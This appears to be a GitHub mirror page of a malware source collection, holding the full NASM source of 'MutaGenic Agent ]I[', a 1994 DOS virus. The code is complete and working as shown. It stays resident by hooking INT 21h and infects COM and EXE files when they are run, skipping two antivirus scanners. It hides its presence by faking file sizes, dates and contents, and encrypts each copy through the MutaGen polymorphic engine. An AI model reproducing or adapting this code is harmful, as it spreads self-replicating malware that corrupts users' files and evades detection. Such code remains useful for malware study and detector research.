mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
571 lines
18 KiB
NASM
571 lines
18 KiB
NASM
|
; ========================================================================>
|
||
|
; MutaGenic Agent ]I[
|
||
|
; by MnemoniX- 1994
|
||
|
; Resident COM/EXE infecting virus
|
||
|
; Infect on execution
|
||
|
; Won't infect ??SCAN.EXE or F-PROT.EXE
|
||
|
; Polymorphic, using MutaGen v2.0
|
||
|
; Uses full stealth (disinfects in memory on open)
|
||
|
; A tricky virus, so BE CAREFUL.
|
||
|
; Usually nails COMMAND.COM on first run.
|
||
|
; ========================================================================>
|
||
|
|
||
|
MGEN_SIZE equ 1938 ; for MutaGen 2.0
|
||
|
|
||
|
code segment byte public 'code'
|
||
|
org 0
|
||
|
assume cs:code,ds:code
|
||
|
extrn _mutagen:near
|
||
|
|
||
|
start:
|
||
|
db 0E9h,02,00,4Dh,47h
|
||
|
virus_begin:
|
||
|
push ds es
|
||
|
|
||
|
call $+3
|
||
|
pop bp
|
||
|
sub bp,offset $-1
|
||
|
|
||
|
mov ax,577Eh ; residency test
|
||
|
int 21h
|
||
|
cmp ax,0A881h
|
||
|
je installed
|
||
|
|
||
|
mov ax,ds
|
||
|
dec ax
|
||
|
mov ds,ax
|
||
|
|
||
|
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
||
|
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
||
|
mov es,word ptr ds:[12h]
|
||
|
|
||
|
push cs ; copy virus into memory
|
||
|
pop ds
|
||
|
xor di,di
|
||
|
mov si,bp
|
||
|
mov cx,(virus_end - start) / 2 + 1
|
||
|
rep movsw
|
||
|
|
||
|
xor ax,ax ; capture interrupt 21
|
||
|
mov ds,ax
|
||
|
|
||
|
mov si,21h * 4
|
||
|
mov di,offset old_int_21
|
||
|
movsw
|
||
|
movsw
|
||
|
|
||
|
mov word ptr [si - 4],offset new_int_21
|
||
|
mov [si - 2],es
|
||
|
installed:
|
||
|
pop es ds
|
||
|
|
||
|
cmp sp,'GM' ; EXE?
|
||
|
je exe_exit
|
||
|
|
||
|
mov di,100h
|
||
|
push di
|
||
|
lea si,[bp + read_buffer]
|
||
|
movsw
|
||
|
movsw
|
||
|
movsb
|
||
|
call fix_regs
|
||
|
|
||
|
ret
|
||
|
|
||
|
exe_exit:
|
||
|
mov ax,ds
|
||
|
add ax,10h
|
||
|
add cs:[bp + exe_cs],ax
|
||
|
add ax,cs:[bp + exe_ss]
|
||
|
cli
|
||
|
mov ss,ax
|
||
|
mov sp,cs:[bp + exe_sp]
|
||
|
sti
|
||
|
call fix_regs
|
||
|
db 0EAh
|
||
|
exe_ip dw 0
|
||
|
exe_cs dw 0
|
||
|
|
||
|
exe_ss dw 0
|
||
|
exe_sp dw 0
|
||
|
|
||
|
fix_regs:
|
||
|
xor ax,ax
|
||
|
xor bx,bx
|
||
|
cwd
|
||
|
xor di,di
|
||
|
mov si,100h
|
||
|
xor bp,bp
|
||
|
ret
|
||
|
|
||
|
int_21:
|
||
|
pushf
|
||
|
call dword ptr cs:[old_int_21]
|
||
|
ret
|
||
|
|
||
|
new_int_21:
|
||
|
cmp ax,577Eh
|
||
|
je pass
|
||
|
cmp ah,11h
|
||
|
je dir_stealth_1
|
||
|
cmp ah,12h
|
||
|
je dir_stealth_1
|
||
|
cmp ah,4Eh
|
||
|
je dir_stealth_2
|
||
|
cmp ah,4Fh
|
||
|
je dir_stealth_2
|
||
|
cmp ah,3Dh
|
||
|
jne next_1
|
||
|
jmp file_open
|
||
|
next_1:
|
||
|
cmp ah,6Ch
|
||
|
jne next_2
|
||
|
jmp file_open
|
||
|
next_2:
|
||
|
cmp ax,4B00h
|
||
|
jne next_3
|
||
|
jmp execute
|
||
|
next_3:
|
||
|
cmp ah,3Fh
|
||
|
jne next_4
|
||
|
jmp file_read
|
||
|
next_4:
|
||
|
cmp ax,5700h
|
||
|
jne next_5
|
||
|
jmp fix_date
|
||
|
next_5:
|
||
|
int_21_exit:
|
||
|
db 0EAh
|
||
|
old_int_21 dd 0
|
||
|
|
||
|
pass:
|
||
|
not ax
|
||
|
iret
|
||
|
|
||
|
dir_stealth_1:
|
||
|
call int_21 ; do it
|
||
|
test al,al ; if al = -1
|
||
|
js cant_find ; then don't bother
|
||
|
|
||
|
push ax bx es ; check file for infection
|
||
|
|
||
|
mov ah,2Fh
|
||
|
int 21h
|
||
|
|
||
|
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||
|
jne no_ext_FCB
|
||
|
add bx,7
|
||
|
|
||
|
no_ext_FCB:
|
||
|
mov ax,es:[bx + 19h]
|
||
|
cmp ah,100 ; check years -
|
||
|
jb fixed ; if 100+, infected
|
||
|
|
||
|
ror ah,1
|
||
|
sub ah,100
|
||
|
rol ah,1
|
||
|
mov es:[bx + 19h],ax
|
||
|
|
||
|
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 328
|
||
|
sbb word ptr es:[bx + 1Fh],0
|
||
|
fixed:
|
||
|
pop es bx ax
|
||
|
cant_find:
|
||
|
iret
|
||
|
|
||
|
dir_stealth_2:
|
||
|
call int_21 ; perform file search
|
||
|
jnc check_file_2 ; if found, proceed
|
||
|
retf 2 ; nope, leave
|
||
|
check_file_2:
|
||
|
push ax bx si es
|
||
|
|
||
|
mov ah,2Fh ; find DTA
|
||
|
int 21h
|
||
|
|
||
|
mov ax,es:[bx + 18h]
|
||
|
cmp ah,100 ; check for infection marker
|
||
|
jb fixed_2
|
||
|
|
||
|
ror ah,1 ; fix up date
|
||
|
sub ah,100
|
||
|
rol ah,1
|
||
|
mov es:[bx + 18h],ax
|
||
|
|
||
|
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 328
|
||
|
sbb word ptr es:[bx + 1Ch],0
|
||
|
fixed_2:
|
||
|
pop es si bx ax ; done
|
||
|
clc
|
||
|
retf 2
|
||
|
|
||
|
file_open:
|
||
|
call int_21 ; open file
|
||
|
jc open_fail ; carry set, open failed
|
||
|
|
||
|
cmp ax,5 ; if handle is a device,
|
||
|
jb dont_bother ; don't bother with it
|
||
|
|
||
|
push ax bx di es
|
||
|
|
||
|
xchg ax,bx
|
||
|
|
||
|
push bx
|
||
|
mov ax,1220h ; get system file table
|
||
|
int 2Fh ; entry
|
||
|
|
||
|
nop ; anti-SCAN
|
||
|
|
||
|
mov bl,es:[di]
|
||
|
mov ax,1216h
|
||
|
int 2Fh
|
||
|
pop bx
|
||
|
|
||
|
mov ax,es:[di + 0Fh] ; check time stamp
|
||
|
cmp ah,100
|
||
|
jb dont_stealth
|
||
|
|
||
|
cmp word ptr es:[di],1 ; if file has already
|
||
|
ja dont_stealth ; been opened, don't stealth
|
||
|
|
||
|
sub es:[di + 11h],VIRUS_SIZE + 328
|
||
|
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
|
||
|
; size
|
||
|
|
||
|
dont_stealth:
|
||
|
pop es di bx ax ; restore everything
|
||
|
dont_bother:
|
||
|
clc
|
||
|
open_fail:
|
||
|
retf 2 ; and return
|
||
|
|
||
|
file_read:
|
||
|
cmp bx,5 ; if read from device,
|
||
|
jae check_it_out ; don't bother
|
||
|
jmp forget_it
|
||
|
|
||
|
check_it_out:
|
||
|
push si di es ax bx cx
|
||
|
|
||
|
push bx
|
||
|
mov ax,1220h
|
||
|
int 2Fh
|
||
|
|
||
|
mov ax,1216h
|
||
|
mov bl,es:[di]
|
||
|
int 2Fh
|
||
|
pop bx
|
||
|
|
||
|
mov ax,es:[di + 0Fh] ; 100+ years
|
||
|
cmp ah,100
|
||
|
jae check_pointer ; is the magic number
|
||
|
jmp no_read_stealth
|
||
|
check_pointer:
|
||
|
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
|
||
|
je check_pointer_2 ; then skip it
|
||
|
jmp no_read_stealth
|
||
|
|
||
|
check_pointer_2:
|
||
|
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
|
||
|
jae no_read_stealth ; then DON'T
|
||
|
|
||
|
push es:[di + 15h] ; save it
|
||
|
|
||
|
mov ah,3Fh
|
||
|
call int_21 ; do the read function
|
||
|
|
||
|
pop cx ; now find how many bytes
|
||
|
push ax ; (Save AX value)
|
||
|
sub cx,28 ; we have to change ...
|
||
|
neg cx ; and where
|
||
|
|
||
|
cmp ax,cx ; if more than 28 were read,
|
||
|
jae ok ; ok
|
||
|
|
||
|
xchg ax,cx ; otherwise, switch around
|
||
|
ok:
|
||
|
push ds cx dx
|
||
|
|
||
|
push es:[di + 15h] ; save current file pointer
|
||
|
push es:[di + 17h]
|
||
|
|
||
|
add es:[di + 11h],VIRUS_SIZE + 328
|
||
|
adc word ptr es:[di + 13h],0
|
||
|
mov ax,es:[di + 11h] ; fix up file size to prevent
|
||
|
sub ax,28 ; read past end of file
|
||
|
|
||
|
mov es:[di + 15h],ax
|
||
|
mov ax,es:[di + 13h]
|
||
|
mov es:[di + 17h],ax
|
||
|
|
||
|
push cs ; now read in real first 28
|
||
|
pop ds ; bytes
|
||
|
mov dx,offset read_buffer
|
||
|
mov cx,28
|
||
|
mov ah,3Fh
|
||
|
call int_21
|
||
|
|
||
|
sub es:[di + 11h],VIRUS_SIZE + 328
|
||
|
sbb word ptr es:[di + 13h],0
|
||
|
|
||
|
pop es:[di + 17h] ; restore file pointer
|
||
|
pop es:[di + 15h]
|
||
|
|
||
|
pop dx cx ds ; now we move our 28 bytes
|
||
|
push ds ; into theirs ...
|
||
|
pop es
|
||
|
|
||
|
mov di,dx
|
||
|
mov si,offset read_buffer
|
||
|
push cs
|
||
|
pop ds
|
||
|
rep movsb ; done
|
||
|
|
||
|
push es ; restore DS
|
||
|
pop ds
|
||
|
|
||
|
pop ax
|
||
|
pop cx bx es es di si
|
||
|
clc
|
||
|
retf 2
|
||
|
|
||
|
no_read_stealth:
|
||
|
pop cx bx ax es di si
|
||
|
forget_it:
|
||
|
jmp int_21_exit
|
||
|
|
||
|
fix_date:
|
||
|
call int_21 ; get date
|
||
|
jc an_error
|
||
|
cmp dh,100 ; if years > 100,
|
||
|
jb date_fixed ; fix it up
|
||
|
ror dh,1
|
||
|
sub dh,100
|
||
|
rol dh,1
|
||
|
date_fixed:
|
||
|
iret
|
||
|
an_error:
|
||
|
retf 2
|
||
|
|
||
|
execute:
|
||
|
push ax si
|
||
|
mov si,dx
|
||
|
find_ext:
|
||
|
lodsb
|
||
|
test al,al
|
||
|
je not_av
|
||
|
cmp al,'.'
|
||
|
jne find_ext
|
||
|
|
||
|
cmp ds:[si],'XE' ; check for ??SCAN.EXE
|
||
|
jne not_av
|
||
|
cmp ds:[si - 3],'NA'
|
||
|
jne f_prot
|
||
|
cmp ds:[si - 5],'CS'
|
||
|
je av_prog
|
||
|
f_prot:
|
||
|
cmp ds:[si - 3],'TO' ; check for F-PROT.EXE
|
||
|
jne not_av
|
||
|
cmp ds:[si - 5],'RP'
|
||
|
jne not_av
|
||
|
av_prog:
|
||
|
pop si ax
|
||
|
jmp int_21_exit
|
||
|
not_av:
|
||
|
pop si ax
|
||
|
push ax bx cx dx si di ds es
|
||
|
mov ax,3D00h
|
||
|
call int_21
|
||
|
jnc opened
|
||
|
jmp cant_open
|
||
|
opened:
|
||
|
xchg bx,ax
|
||
|
|
||
|
push bx
|
||
|
mov ax,1220h
|
||
|
int 2Fh
|
||
|
mov ax,1216h
|
||
|
mov bl,es:[di]
|
||
|
int 2Fh
|
||
|
pop bx
|
||
|
|
||
|
mov word ptr es:[di + 2],2
|
||
|
|
||
|
push cs
|
||
|
pop ds
|
||
|
|
||
|
mov ah,3Fh
|
||
|
mov dx,offset read_buffer
|
||
|
mov cx,28
|
||
|
call int_21
|
||
|
|
||
|
cmp read_buffer,'ZM'
|
||
|
jne infect_com
|
||
|
jmp infect_exe
|
||
|
|
||
|
infect_com:
|
||
|
cmp read_buffer[3],'GM'
|
||
|
je dont_infect
|
||
|
|
||
|
mov ax,es:[di + 11h]
|
||
|
mov es:[di + 15h],ax
|
||
|
sub ax,3
|
||
|
mov word ptr new_jump[1],ax
|
||
|
|
||
|
add ax,103h
|
||
|
xchg dx,ax
|
||
|
call write_it
|
||
|
|
||
|
mov cx,5
|
||
|
mov dx,offset new_jump
|
||
|
mov ah,40h
|
||
|
call int_21
|
||
|
stamp_n_close:
|
||
|
mov cx,es:[di + 0Dh]
|
||
|
mov dx,es:[di + 0Fh]
|
||
|
ror dh,1
|
||
|
add dh,100
|
||
|
rol dh,1
|
||
|
mov ax,5701h
|
||
|
call int_21
|
||
|
dont_infect:
|
||
|
mov ah,3Eh
|
||
|
call int_21
|
||
|
cant_open:
|
||
|
pop es ds di si dx cx bx ax
|
||
|
jmp int_21_exit
|
||
|
|
||
|
infect_exe:
|
||
|
cmp word ptr read_buffer[26],0
|
||
|
ja dont_infect ; don't infect overlay .EXE
|
||
|
|
||
|
cmp word ptr read_buffer[16],'GM'
|
||
|
je dont_infect ; infected already
|
||
|
|
||
|
push es di
|
||
|
|
||
|
push cs ; save this header
|
||
|
pop es
|
||
|
|
||
|
mov si,offset read_buffer
|
||
|
mov di,offset orig_header
|
||
|
mov cx,14
|
||
|
rep movsw
|
||
|
|
||
|
pop di es
|
||
|
|
||
|
mov ax,word ptr orig_header[20]
|
||
|
mov exe_ip,ax
|
||
|
mov ax,word ptr orig_header[22]
|
||
|
mov exe_cs,ax
|
||
|
mov ax,word ptr orig_header[14]
|
||
|
mov exe_ss,ax
|
||
|
mov ax,word ptr orig_header[16]
|
||
|
mov exe_sp,ax
|
||
|
|
||
|
mov ax,es:[di + 11h] ; file size
|
||
|
mov dx,es:[di + 13h]
|
||
|
|
||
|
push ax dx ; (save these for later)
|
||
|
|
||
|
push bx
|
||
|
mov cl,12
|
||
|
shl dx,cl
|
||
|
mov bx,ax
|
||
|
mov cl,4
|
||
|
shr bx,cl
|
||
|
add dx,bx
|
||
|
and ax,15
|
||
|
pop bx
|
||
|
|
||
|
sub dx,word ptr orig_header[8]
|
||
|
mov word ptr orig_header[22],dx
|
||
|
mov word ptr orig_header[20],ax
|
||
|
|
||
|
add dx,80h ; give stack some space
|
||
|
mov word ptr orig_header[14],dx
|
||
|
mov word ptr orig_header[16],'GM'
|
||
|
|
||
|
pop dx ax
|
||
|
add ax,VIRUS_SIZE + 28
|
||
|
adc dx,0
|
||
|
|
||
|
mov cx,512 ; in pages
|
||
|
div cx ; then save results
|
||
|
inc ax
|
||
|
mov word ptr orig_header[2],dx
|
||
|
mov word ptr orig_header[4],ax
|
||
|
|
||
|
mov ax,4202h ; to EOF
|
||
|
cwd
|
||
|
xor cx,cx
|
||
|
call int_21
|
||
|
|
||
|
mov dx,word ptr orig_header[20]
|
||
|
call write_it
|
||
|
|
||
|
mov cx,28
|
||
|
mov dx,offset orig_header
|
||
|
mov ah,40h
|
||
|
call int_21
|
||
|
|
||
|
jmp stamp_n_close
|
||
|
|
||
|
write_it:
|
||
|
push dx
|
||
|
mov ax,2524h ; trap int 24
|
||
|
mov dx,offset int_24
|
||
|
call int_21
|
||
|
pop dx
|
||
|
|
||
|
push es di ; call MutaGen
|
||
|
push cs
|
||
|
pop es
|
||
|
mov cx,VIRUS_SIZE
|
||
|
mov di,offset encrypt_buffer
|
||
|
mov si,offset virus_begin
|
||
|
call _mutagen
|
||
|
pop di es
|
||
|
|
||
|
mov si,cx
|
||
|
mov ah,40h
|
||
|
call int_21
|
||
|
|
||
|
sub si,VIRUS_SIZE + 300
|
||
|
neg si
|
||
|
mov cx,si
|
||
|
mov ah,40h
|
||
|
mov dx,offset encrypt_buffer + 200
|
||
|
call int_21
|
||
|
|
||
|
mov cx,28 ; for stealth
|
||
|
mov dx,offset read_buffer
|
||
|
mov ah,40h
|
||
|
call int_21
|
||
|
|
||
|
mov word ptr es:[di + 15h],0
|
||
|
mov word ptr es:[di + 17h],0
|
||
|
ret
|
||
|
|
||
|
db 'MutaGenic Agent ]I[',0
|
||
|
|
||
|
int_24: ; int 24 handler
|
||
|
mov al,3
|
||
|
iret
|
||
|
|
||
|
new_jump db 0E9h,00,00,4Dh,47h
|
||
|
pop_buffer dw 0
|
||
|
read_buffer dw 14 dup (20CDh)
|
||
|
|
||
|
virus_end equ $ + MGEN_SIZE
|
||
|
VIRUS_SIZE equ virus_end - virus_begin
|
||
|
|
||
|
orig_header equ virus_end
|
||
|
encrypt_buffer equ virus_end + 28
|
||
|
end_heap equ virus_end + 28 + VIRUS_SIZE + 300
|
||
|
|
||
|
MEM_SIZE equ end_heap - start
|
||
|
|
||
|
code ends
|
||
|
end start
|